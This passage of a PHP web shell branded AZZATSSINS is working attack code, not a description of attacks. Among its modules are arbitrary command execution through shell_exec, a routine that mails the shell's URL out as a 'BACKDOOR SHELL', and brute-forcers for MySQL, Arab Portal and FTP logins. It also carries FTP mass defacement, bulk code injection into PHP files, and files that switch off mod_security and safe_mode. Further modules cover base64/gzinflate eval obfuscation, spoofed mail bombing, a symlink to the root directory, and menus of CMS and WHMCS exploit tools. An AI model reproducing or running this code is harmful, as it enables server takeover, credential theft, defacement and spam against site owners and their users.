UZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5TRUxFU0FJIEJPUyB8fCBDRUsgRk9MREVSIElNQUdFUzwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5Eb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7";
2096$write = fwrite($f2 ,base64_decode($sml_perl));
2097if($write)
2098{@chmod('image/anu.pl',0755);}
2099echo "<center><iframe src=image/anu.pl width=96% height=126% frameborder=0></iframe></div>";
2100}
2101}
2102
2103## ***** x=dmwp ***** ##
2104elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwp')) {
2105// wordpress bruteforce
2106// wordpress index changer
2107// wordpress password changer
2108
2109echo '<center><br/><br/><img src="http://s.wordpress.org/about/images/logos/wordpress-logo-hoz-rgb.png"><br/><br/> <nobr><b><span class="b7">O=:[ WORDPRESS</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
2110<div id="menu" align="center"><table><tr>
2111<td align=center><b><a href="?azzatssins='.$pwd.'&x=wp1">WP BRUTEFORCE</a></b></td>
2112<td align=center><b><a href="?azzatssins='.$pwd.'&x=wp2">WP AUTO DEFACE</a></b></td>
2113<td align=center><b><a href="?azzatssins='.$pwd.'&x=wp3">WP PASSWORD CHANGER</a></b></td>
2114</tr></table></div><br/>';
2115}
2116
2117## ***** x=dmvb ***** ##
2118elseif(isset($_GET['x']) && ($_GET['x'] == 'dmvb')) {
2119// vbullettin index changer
2120// vbulletin password changer
2121
2122echo '<center><br/><br/>
2123<img src="http://forum.paradoxplaza.com/forum/images/mobile/vbulletin-logo.png"><br/><br/><nobr><b><span class="b7">O=:[ VBULLETIN</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
2124<div id="menu" align="center"><table><tr>
2125<td align=center><b><a href="?azzatssins='.$pwd.'&x=vb1">VB INDEX CHANGER</a></b></td>
2126<td align=center><b><a href="?azzatssins='.$pwd.'&x=vb2">VB PASSWORD CHANGER</a></b></td>
2127</tr></table></div><br/>';
2128}
2129
2130## ***** x=dmjm ***** ##
2131elseif(isset($_GET['x']) && ($_GET['x'] == 'dmjm')) {
2132// joomla bruteforce
2133// exploit joomla jce uploader
2134// joomla password changer
2135
2136echo '<center><br/><br/><img src="http://www.payingdialer.com/images/joomla-logo.png"><br/><br/> <nobr><b><span class="b7">O=:[ JOOMLA</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
2137<div id="menu" align="center"><table><tr>
2138<td align=center><b><a href="?azzatssins='.$pwd.'&x=jm1">BRUTEFORCE LOGIN</a></b></td>
2139<td align=center><b><a href="?azzatssins='.$pwd.'&x=jm2">INDEX DEFACE</a></b></td>
2140<td align=center><b><a href="?azzatssins='.$pwd.'&x=jm3">JCE UPLOADER</a>
2141</b></td>
2142<td align=center><b><a href="?azzatssins='.$pwd.'&x=jm4">PASSWORD CHANGER</a></b></td>
2143</tr></table></div><br/>';
2144}
2145
2146## ***** x=whmcs2 ***** ##
2147elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs2')) {
2148// whmcs inject shell
2149// whmcs bypass security token
2150// whmcs password changer
2151// whmcs auto exploiter
2152
2153echo '<center><br/><br/><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/><nobr><b><span class="b7">O=:[ WHMCS</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
2154<div id="menu" align="center"><table><tr>
2155<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs1">GRAB PASSWORD CLIENT</a></b></td>
2156<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs2">INJECT SHELL</a></b></td>
2157<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs3">PASSWORD CHANGER</a></b></td>
2158<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs4">BYPASS AUTH LOGIN</a></b></td>
2159</tr></table></div><br/>
2160<div id="menu" align="center"><table><tr>
2161<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs5">WHMCS 5.2.7 [php]</a></b></td>
2162<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs6">WHMCS 5.2.7 [python]</a></b></td>
2163<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs7">WHMCS 5.28 [php]</a></b></td>
2164<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs8">WHMCS 5.2.8 [python]</a></b></td>
2165</tr></table></div><br/>
2166
2167<div id="menu" align="center"><table><tr>
2168<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs9">CHECK LICENSE & VERSION</a></b></td>
2169<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs10">v5.2.7 VULN SCANNER</a></b></td>
2170<td align=center><b><a href="?azzatssins='.$pwd.'&x=dmwhmcs11">SCAN CMS WHMCS</a></b></td>
2171</table></div><br/><br/> ';
2172}
2173
2174## ***** x=cpanel ***** ##
2175elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')) {
2176// cpanel bruteforce
2177// cpanel mass deface
2178// cpanel bruteforce using config
2179
2180echo '<center><br/><br/><img src="http://earthnexus.com/images/cpanel_logo.gif"><br/><br/> <nobr><b><span class="b7">O=:[ CPANEL</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
2181<div id="menu" align="center"><table><tr>
2182<td align=center><b><a href="?azzatssins='.$pwd.'&x=cp1">BRUTEFORCE CP LOGIN</a></b></td>
2183<td align=center><b><a href="?azzatssins='.$pwd.'&x=cp2">BRUTEFORCE CP AUTO DEFACE</a></b></td>
2184<td align=center><b><a href="?azzatssins='.$pwd.'&x=cp3">BRUTEFORCE CONFIG CP </a></b></td>
2185
2186</tr></table></div><br/>';
2187}
2188
2189## ***** x=iis7 ***** ##
2190elseif(isset($_GET['x']) && ($_GET['x'] == 'iis7')) {
2191
2192echo '<center><br/><br/><img src="http://www.codeblog.co.uk/wp-content/uploads/2010/06/iis7-300x215.jpg"><br/><br/> <nobr><b><span class="b7">O=:[ WINDOWS IIS7</span> <span class="b8">HACK TOOLS ]:=O</span></b></nobr><br/><br/>
2193<div id="menu" align="center"><table><tr>
2194
2195<td align=center><b><a href="?azzatssins='.$pwd.'&x=iis7httpd">HTTPD EXPLOIT</a></b></td>
2196<td align=center><b><a href="?azzatssins='.$pwd.'&x=iis7port">PORT EXPLOIT</a></b></td>
2197</tr></table></div><br/>';
2198}
2199
2200
2201# x=posisi
2202elseif(isset($_GET['x']) && ($_GET['x'] == 'posisi')) {
2203
2204function curPageURL() {
2205$pageURLe = 'http';
2206if($_SERVER["HTTPS"] == "on"){
2207$pageURL .= "s";
2208}
2209$pageURLe .= "://";
2210if ($_SERVER["SERVER_PORT"] != "80") {
2211$pageURLe .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
2212} else {
2213$pageURLe .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
2214}
2215return $pageURLe;
2216}
2217$votremail=$_SERVER['SERVER_ADMIN'];
2218$objet='BACKDOOR SHELL';
2219$message=curPageURL();
2220$headers='From:'.$votremail."\r\n".'To:'.$destinataire."\r\n".'Subject:'.$objet."\r\n".'Content-type:text/plain;charset=iso-8859-1'."\r\n".'Sent:'.date('l, F d, Y H:i');
2221if(mail($destination,$objet,$message,$headers))
2222{
2223echo "<br><center><b></b><br/><p><b>[+] $destination [+]</b><center>";}
2224else
2225{
2226echo "<br><center><font size=4 color=red>Error Saving Backdoor</font><center>";
2227}
2228}
2229else if(isset($_POST['executecmd']))
2230{
2231$check = shell_exec($_POST['mycmd']);
2232echo "<textarea cols=120 rows=20 class=box>" . $check . "</textarea>";
2233}
2234
2235
2236elseif(isset($_GET['x']) && ($_GET['x'] == 'inject')){
2237?>
2238<center><table id="margins" >
2239<tr>
2240<form method='POST'><input type="hidden" name="injector"/>
2241<tr><td width="30" class="title">
2242DIR : <input class="inputz" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>"/></td></tr>
2243<tr><td class="title">
2244Mode : <select class="inputz" name="mode" style="width:130px;">
2245<option value="Apender">SEMI INJECT</option>
2246<option value="Overwriter">FULL Inject</option>
2247</select></td></tr>
2248<tr><td class="title">
2249File Type : <input type="text" class="inputz" name="filetype" value=".php" onBlur="if(this.value=='')this.value='.php';"/></td></tr>
2250<tr><td colspan="2">
2251<textarea name="injectthis" cols="110" rows="10" class="inputz">
2252<?php echo base64_decode("PGh0bWw+DQo8aGVhZD48dGl0bGU+Li9INENLM0QgQlkgRzRudDNuRzNyejwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+DQpURVJJTUEgS0FTSUggR1VFIEdBTlRFTkcgOnYNCjwvYm9keT4NCjwvaHRtbD4="); ?>
2253</textarea></td></tr>
2254<tr><td rowspan="2">
2255<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="inputz" value=" INJECT CODE :P "/></td></tr>
2256</form></table></center>
2257
2258
2259
2260<?php
2261}
2262# x=bforce1
2263elseif(isset($_GET['x']) && ($_GET['x'] == 'bruteforce'))
2264{
2265
2266$f =@fopen ('users.txt','w');
2267if(!$users=get_users()) {
2268echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>";
2269}
2270else {
2271foreach($users as $user) {
2272@fwrite($f , $user);
2273@fwrite($f , "\n");
2274}
2275}
2276echo '<br><center><font size=3 color=green>[+] BUKA users.txt <a href=azzatssin5hell.txt target=blank>_DISINI_</a> COPY & PASTE DI KOLOM USER [+]</font></center><BR>';
2277 ?>
2278
2279<form method="POST" target="_self">
2280
2281<input name="page" type="hidden" value="find">
2282<table width="33%" cellpadding="3" cellspacing="1" align="center">
2283<tr>
2284<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
2285<strong>User :</strong></td>
2286<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="usernames"></textarea></strong></td>
2287</tr>
2288<tr>
2289<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
2290<strong>Pass :</strong></td>
2291<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="passwords"></textarea></strong></td>
2292</tr>
2293<tr>
2294<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
2295<strong>Type :</strong></td>
2296<td valign="top" bgcolor="#151515" colspan="5">
2297<span class="style2"><strong>Simple : </strong> </span>
2298<strong>
2299<input class="inputz" type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
2300<font class="style2"><strong>/etc/passwd : </strong> </font>
2301<strong>
2302<input class="inputz" type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
2303</strong>
2304</span>
2305</td></tr>
2306<tr>
2307<td valign="top" bgcolor="#151515" style="width: 139px"></td>
2308<td valign="top" bgcolor="#151515" colspan="5"><strong><input class="inputz" type="submit" value="_START CRACK _"></strong>
2309</td><tr></form>
2310
2311
2312<?php
2313if(isset($_POST['usernames']) && isset($_POST['passwords']))
2314{
2315if($_POST['type'] == 'passwd'){
2316
2317$e = explode("\n",$_POST['usernames']);
2318foreach($e as $value){
2319$k = explode(":",$value);
2320$username .= $k['0']." ";
2321}
2322}
2323elseif($_POST['type'] == 'simple'){
2324$username = str_replace("\n",' ',$_POST['usernames']);
2325}
2326$a1 = explode(" ",$username);
2327$a2 = explode("\n",$_POST['passwords']);
2328$id2 = count($a2);
2329$ok = 0;
2330foreach($a1 as $user )
2331{
2332if($user !== '')
2333{
2334$user=trim($user);
2335for($i=0;$i<=$id2;$i++)
2336{
2337$pass = trim($a2[$i]);
2338if(@mysql_connect('localhost',$user,$pass))
2339{
2340echo "[+] Username ( <b><font color=green>$user</font></b> ) Password ( <b><font color=green>$pass</font></b> ) [+]<br />";
2341$ok++;
2342}
2343}
2344}
2345}
2346echo "<hr><b>DAPAT <font color=green>$ok</font> Cpanel</b>";
2347echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
2348exit;
2349}
2350}
2351
2352# x=safemodeoff
2353elseif(isset($_GET['x']) && ($_GET['x'] == 'safemodeoff')) {
2354$file_pointer = fopen(".htaccess", "w+");
2355fwrite($file_pointer, "<IfModule mod_security.c>
2356SecFilterEngine Off
2357SecFilterScanPOST Off
2358</IfModule>");
2359
2360$file_pointer = fopen("ini.php", "w+");
2361fwrite($file_pointer, "<?
2362echo ini_get(\"safe_mode\");
2363echo ini_get(\"open_basedir\");
2364include(\$_GET[\"file\"]);
2365ini_restore(\"safe_mode\");
2366ini_restore(\"open_basedir\");
2367echo ini_get(\"safe_mode\");
2368echo ini_get(\"open_basedir\");
2369include(\$_GET[\"ss\"]);
2370?>");
2371
2372$file_pointer = fopen("php.ini", "w+");
2373fwrite($file_pointer, "safe_mode = Off");
2374fwrite($file_pointer, "\n disable_functions = NONE");
2375fclose($file_pointer);
2376echo "<center>[+] Safe Mode Off Succesfully [+]</center>";
2377?>
2378
2379<?php }
2380// x=arabportal
2381elseif(isset($_GET['x']) && ($_GET['x'] == 'arabportal')){
2382
2383?>
2384<form action="?azzatssins=<?php echo $pwd; ?>&x=arabportal" method="post">
2385
2386 <?php
2387echo "<br/><br/><nobr><b><span class='b7'>O=:[ BRUTEFORCE</span> <span class='b8'>ARAB PORTAL ]:=O</span></b></nobr><br/><br/> <form method='POST'>
2388<p align='center' dir='ltr'> <input type='text' value='http://target.com/arabportal/' name='target' size='45'>
2389<input type='text' value='admin' name='username'>
2390<br><input type='submit' value='Start Brute'>
2391</p>";
2392$site = $_POST['target']."/admin/";
2393$username = $_POST['username'];
2394# Passwords
2395$passwords = array('123456','123654','123123','112233','123321','102030','123451','123456789','654321','654123','123qwe','qwerty','azerty','123450','123412','121314','132132','132123','123132','123012');
2396
2397function brute($site,$username,$password)
2398{
2399$curl = curl_init();
2400curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
2401curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
2402curl_setopt($curl,CURLOPT_URL, $site);
2403curl_setopt($curl,CURLOPT_POSTFIELDS,"user_name={$username}&user_pass={$password}");
2404@curl_setopt($curl,CURLOPT_COOKIEJAR,"cookie.txt");
2405@curl_setopt($curl,CURLOPT_COOKIEFILE,"cookie.txt");
2406$brute = curl_exec($curl);
2407if(eregi('<p align="center"><b><font size="4" color="#FFFFFF">', $brute))
2408{
2409echo "<center><b><font face='Tahoma' size='2'>[+] Cracked Username
2410: <font color='#FF0000'>{$username}</font> & Password : <font color='#FF0000'>{$password}</font></font></b>";
2411}
2412return $brute;
2413}
2414foreach($passwords as $password)
2415{
2416brute($site,$username,$password);
2417}
2418echo "</form>";
2419?>
2420
2421 <?php }
2422// x=about
2423elseif(isset($_GET['x']) && ($_GET['x'] == 'about')){
2424?>
2425<form action="?azzatssins=<?php echo $pwd; ?>&x=about" method="post">
2426
2427<?php
2428echo "<div align='center'><br><br>
2429<table class='tabnet' style='padding:0 1px;'>
2430<tr><th align='center'><b>DISCLAIMER</b></th></tr>
2431<tr><td align='left'><nobr>
2432<span class='b12'>THIS TOOL WAS WRITTEN FOR
2433EDUCATIONAL PURPOSES.</span></nobr></td></tr>
2434<tr><td align='left'><nobr>
2435<span class='b12'>ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST.</span></nobr></td></tr>
2436<tr><td align='left'><nobr>
2437<span class='b12'> IF YOU DON'T AGREE WITH WHAT I
2438SAID, PLEASE DON'T USE THIS TOOL.</span></td></tr>
2439<tr><td align='left'><nobr>
2440<span class='b12'> THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR
2441 DAMAGE ARISING WITH THE USE OF THIS TOOL. </span></nobr></td></tr>
2442<tr><td align='left'><nobr>
2443<span class='b12'>USE IT UNDER YOUR OWN RISK !!!!!!</span>
2444</nobr></td></tr>
2445<tr><td align='left'><nobr>
2446<span class='b12'>THANKS...</span>
2447</nobr></td></tr>
2448</table><br><br>
2449</html>";
2450echo "<div align='center'><br><br>
2451<table class='tabnet' style='padding:0 1px;'>
2452<tr><th align='center'><b>ABOUT AZZATSSINS</b></th></tr>
2453<tr>
2454<td>
2455<table border=1>
2456<tr>
2457<td>Recoded from DM5HELL</td>
2458<td>AZZATSSINS</td>
2459</tr>
2460<tr>
2461<td>Design</td>
2462<td>AZZATSSINS</td>
2463</tr>
2464<tr>
2465<td>Adding Exploit</td>
2466<td>AZZATSSINS & Andripzf</td>
2467</tr>
2468<tr>
2469<td>Basic Shell</td>
2470<td>b374k m1n1 PHP Shell</td>
2471</tr>
2472<tr>
2473<td>Bypass Symlink</td>
2474<td><nobr>Thanks to Saudi Hacker, Mauritania, Mr.Alasaek,Lagripe-Dz, PakCyber, BD Cyber Army</nobr></td>
2475</tr>
2476<tr>
2477<td>Whmcs Exploit</td>
2478<td><nobr>Thanks to AZZATSSINS, Rab3oun, g00n, theMaster,Lagripe-Dz, X3group</nobr></td>
2479</tr>
2480<tr>
2481<td>WP Exploit</td>
2482<td>Thanks to AZZATSSINS, XTTG, Lagripe-Dz</td>
2483</tr>
2484<tr>
2485<td>Joomla Exploit</td>
2486<td>Thanks to AZZATSSINS, XTTG, Lagripe-Dz</td>
2487</tr>
2488<tr>
2489<td>VB Exploit</td>
2490<td>Thanks to Tryag</td>
2491</tr>
2492<tr>
2493<td>Config Killer Exploit</td>
2494<td><nobr>Thanks to AZZATSSINS CYBERSERKERS, Indishell, Anonghost, Lagripe-Dz, Indrajith</nobr></td>
2495</tr>
2496<tr>
2497<td>Security Bypass Exploit</td>
2498<td>Thanks to Mauritania, Lagripe-Dz </td>
2499</tr>
2500<tr>
2501<td>Greetz To</td>
2502<td><nobr>Exploit-DB, 1337 0day, All Moeslim Hackers And Coders In The World</nobr></td>
2503</tr>
2504
2505</table>
2506</td></tr>
2507</table><br><br>
2508</html>";
2509?>
2510
2511
2512<?php }
2513// x=coding
2514elseif(isset($_GET['x']) && ($_GET['x'] == 'coding')){
2515// encode & decode
2516?>
2517<form action="?azzatssins=<?php echo $pwd; ?>&x=coding" method="post">
2518
2519<?php {
2520echo "<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ ENCODE</span> <span class='b8'>DECODE ]:=O</span></b></nobr><br/><br/>
2521<form method='post'><table class=tbl>
2522<tr><td>Method : <select name='typed' style='color:red; background-color:black; border:1px solid #666;'>
2523<option>Encode</option><option>Decode</decode></select> </td></tr>
2524<tr><td>TYPE : <select name='typenc' style='color:red; background-color:black; border:1px solid #666;'>
2525<option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
2526</td>
2527<tr><td>
2528<textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25' name='php_content'></textarea></tr>
2529</td></table><hr/><input style='color:#FF0000;background-color:#000000' type='submit' value=' >> ' /><br /><hr /><br /></form></div>";
2530
2531$meth_d=$_POST['typed'];
2532$typ_d=$_POST['typenc'];
2533$c_ntent=$_POST['php_content'];
2534$c_ntent=$c_ntent;
2535switch($meth_d)
2536{
2537case "Encode":
2538switch($typ_d)
2539{
2540case "GZINFLATE":
2541$res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
2542$res_t="<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
2543break;
2544case "GZUNCOMPRESS":
2545$res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
2546$res_t="<?php eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
2547break;
2548case "STR_ROT13":
2549$res_t=trim(stripslashes($c_ntent.' '),'<?php, ?>');
2550$res_t=base64_encode(str_rot13($res_t));
2551$res_t="<?php eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
2552break;
2553}
2554break;
2555case "Decode":
2556switch($typ_d)
2557{
2558case "GZINFLATE":
2559$res_t=gzinflate(base64_decode($c_ntent));
2560break;
2561case "GZUNCOMPRESS":
2562$res_t=gzuncompress(base64_decode($c_ntent));
2563break;
2564case "STR_ROT13":
2565$res_t=str_rot13(base64_decode($c_ntent));
2566break;
2567}
2568break;
2569}
2570echo "<center><div id=result><textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25'>".htmlspecialchars($res_t)."</textarea></center></div>";
2571}
2572?>
2573
2574<?php }
2575# x=sscan
2576elseif(isset($_GET['x']) && ($_GET['x'] == 'cp2')){
2577?>
2578<form action="?azzatssins=<?php echo $pwd; ?>&x=cp2" method="post">
2579
2580<br/><br/><center><nobr><b><span class='b7'>O=:[ FTP MASS</span> <span class='b8'>DEFACE ]:=O</span></b></nobr><br/><br/>
2581
2582<form method="post">
2583<center>
2584 IP Server:<input type="text" name="ip" value="127.0.0.1" />
2585 <p> </p>
2586 User's List:<br>
2587 <textarea rows="10" style="width:35%;" name="users" value="The Users List"></textarea>
2588 <p> </p>
2589 Password's List:<br>
2590 <textarea rows="10" style="width:35%;" name="passwords" value="The Password List"></textarea>
2591 <p> </p>
2592 Index File Name:<input type="text" name="index_name" value="index.php" /><br>
2593 <p> </p>
2594 Index File Link:<input type="text" name="index_link" value="index.txt" /><br>
2595 <p> </p>
2596 <input type="submit" name="forest" value="Mass Deface it" /><br><br>
2597 </form></center>
2598
2599<?php
2600set_time_limit(0);
2601if(isset($_POST['forest'])){
2602$ip=trim($_POST['ip']);
2603$users = explode("\n",$_POST["users"]);
2604$passwords = explode("\n",$_POST["passwords"]);
2605$index_name=trim($_POST['index_name']);$index_link=trim($_POST['index_link']);
2606
2607foreach($users as $user){
2608foreach($passwords as $pass){
2609$connect_ip = ftp_connect($ip) or die("Couldn't Connect To $ip");
2610if(@ftp_login($connect_ip, trim($user), trim($pass))){
2611
2612echo "<br>Connected To --> $ip@$user\n";@ftp_delete($connect_ip,$index_name);
2613
2614$deface = ftp_put($connect_ip, "/public_html/".$index_name , $index_link, FTP_ASCII);
2615if($deface){
2616echo "<br><font color=green> $user --> Deface Success!!</font>";
2617break;
2618}else{
2619echo "<br><font color=red> $user --> Error Defacing!!</font>";
2620 }
2621 }else{
2622echo "<br><font color=red>Couldn't Connect To --> $ip@$user --> $pass</font>\n";
2623}
2624}
2625}
2626echo "<br><font size=5> ! Mass Defacing Was Done ! </font>";
2627}
2628?>
2629
2630<?php }
2631# x=sscan
2632elseif(isset($_GET['x']) && ($_GET['x'] == 'sscan')){
2633 ?>
2634<form action="?azzatssins=<?php echo $pwd; ?>&x=sscan" method="post">
2635
2636<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ SHELL</span> <span class='b8'>SCANNER ]:=O</span></b></nobr><br/><br/>
2637
2638<table><form method='POST'>
2639<tr><td>URL TARGET : <input size=40 style='color:#FF0000;background-color:#000000' name='rem_web' value='http://'></td></tr>
2640<tr><td><font color=red>INPUT NAMA FILE / SHELL</font></tr></td>
2641<tr><td><textarea spellcheck='false' class='textarea_edit' style='color:#FF0000;background-color:#000000' cols=50 rows=30 name='tryzzz'>
2642
2643WSO.php
2644dz.php
2645cpanelcracker.php
2646blackshadow.php
2647sym.php
2648ftpcracker.php
2649cpanel.php
2650cpn.php
2651sql.php
2652mysql.php
2653madspot.php
2654itsecteam_shell.php
2655b374k.php
2656madsopot.php
2657indishell.php
2658Cgishell.pl
2659killer.php
2660changeall.php
26612.php
2662Sh3ll.php
2663dz0.php
2664dam.php
2665user.php
2666dom.php
2667whmcs.php
2668r00t.php
2669c99.php
2670gaza.php
2671q.php
26721.php
2673d0mains.php
2674madspotshell.php
2675Sym.php
2676c22.php
2677c100.php
2678Cpanel.php
2679zone-h.php
2680cp.php
2681L3b.php
2682d.php
2683admin1.php
2684upload.php
2685up.php
2686uploads.php
2687sa.php
2688r57.php
2689shell.php
2690sa.php
2691</textarea></td></tr>
2692<tr><td><br /><input type='submit' style='color:#FF0000;background-color:#000000' value=' >> SCAN >> ' class='input_big' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />
2693
2694<?php
2695set_time_limit(0);
2696$rtr=array();
2697echo "<div id=result><center><table>";
2698$webz=$_POST['rem_web'];
2699$uri_in=$_POST['tryzzz'];
2700$r_xuri = trim($uri_in);
2701$r_xuri=explode("\n", $r_xuri);
2702foreach($r_xuri as $rty)
2703{
2704$urlzzx=$webz.$rty;
2705if(function_exists('curl_init'))
2706{
2707echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
2708$ch = curl_init($urlzzx);
2709curl_setopt($ch, CURLOPT_NOBODY, true);
2710curl_exec($ch);
2711$status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
2712curl_close($ch);
2713if($status_code==200)
2714{
2715echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
2716} else {
2717echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
2718 }
2719 } else {
2720echo "<font color=red>cURL Not Found </font>";
2721} }
2722echo "</table><br /><br /><hr /><br /><br /></div>";
2723?>
2724
2725<?php }
2726# x=bomail
2727elseif(isset($_GET['x']) && ($_GET['x'] == 'bomail')){
2728?>
2729<form action="?y=<?php echo $pwd; ?>&x=email" method="post">
2730<html>
2731<head><title>./DM TE4M</title>
2732</head>
2733<center><body bgcolor="black">
2734<a href="http://www.facebook.com/groups/D.MASTERPIECE"><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></a><br><br>
2735<span style="color:white"> --=|[+] BOMB FAKE EMAIL [+]|=--<br/></center>
2736 <span style="color:#00FF00"><hr></span>
2737<form method=post>
2738<input type=hidden value=dm name=dm>
2739<center><span style="color:#00FF00">-:[ X-EMAIL ]:-</span><br/>
2740 <span style="color:white">**Isi Dengan Nama Email Palsu**<br/>
2741<input style="color:lime;background-color:#000000" name=wew value="<?echo $wew; ?>"></center>
2742<br/>
2743<center><span style="color:#00FF00">-:[ EMAIL TUJUAN ]:-</span><br/>
2744 <span style="color:white">**Isi Email Target Bomb Email**</span><br/>
2745<input style="color:lime;background-color:#000000" name=wow value="<?echo $wow; ?>"></center>
2746<br/>
2747<center><span style="color:#00FF00">-:[ SUBJECT ]:-</span> <br/>
2748 <span style="color:white">**Isi Nama Judul Pesan**</span><br/>
2749<input style="color:lime;background-color:#000000" name=anu value="<?echo $anu; ?>"></center>
2750<br/>
2751<center><span style="color:#00FF00">-:[ JUMLAH KIRIM ]:-</span><br/>
2752 <span style="color:white">**Isi Nominal Antara 0 s/d 100**</span><br/>
2753<input style="color:lime;background-color:#000000" name=sodok value="<?echo $sodok; ?>"></center>
2754<br/>
2755<center><span style="color:#00FF00">-:PESAN ]:-</span><br/>
2756 <span style="color:white">**Tulis Pesan Kamu**</span><br/>
2757<textarea style="color:lime;background-color:#000000" cols="30" rows="50" name=deathnote><?echo $deathnote?></textarea><br/>
2758<p>
2759<input style="color:lime;background-color:#000000" type=submit value=./CROTZ></center></form>
2760<span style="color:#00FF00"><hr></span>
2761 <span style="color:yellow">
2762<?php
2763//CYBERSERKERS TE4M Introduction
2764$dm = $_POST['azzatssins'];
2765//Fungsi Pengirim Email
2766$wew = $_POST['wew'];
2767//Fungsi Penerima Email
2768$wow = $_POST['wow'];
2769//Fungsi Jumlah Pesan Yg Akan Di Kirim
2770$sodok = $_POST['sodok'];
2771//Fungsi Subject Atau Judul
2772$anu = $_POST['anu'];
2773//Fungsi Isi Pesan
2774$deathnote = $_POST['deathnote'];
2775
2776if ($dm=="azzatssins" ) {
2777for ($i=0;$i <$sodok;$i++) {
2778$a= $wew;
2779$janda = $anu.$i;
2780mail( $wow,$janda,$deathnote.str_repeat(" ", 0*$xdm),"From: $a <$a>\r\n" );
2781} echo (" <center>* SUKSES :D | HAJAR LAGI BOS :P *</center>");
2782}
2783//WE ARE CYBERSERKERS
2784//WE ARE LEGION
2785//WE ARE FAMILY
2786//WE DO NOT FORGIVE
2787//WE DO NOT FORGET
2788//EXPECT US
2789exit;
2790?>
2791
2792
2793<?php }
2794# x=plesk
2795elseif(isset($_GET['x']) && ($_GET['x'] == 'plesk')){ ?>
2796<form action="?azzatssins=<?php echo $pwd; ?>&x=plesk" method="post">
2797<?php
2798@mkdir('plesk', 0777);
2799$hta="Options all \n
2800DirectoryIndex Sux.html \n
2801AddType text/plain .php\n
2802AddHandler server-parsed .php";
2803$htaccess=@fopen('plesk/.htaccess', 'w');
2804fwrite($htaccess, $hta);
2805@symlink("/", "plesk/azx.txt");
2806?>
2807
2808<?php }
2809// x=apache
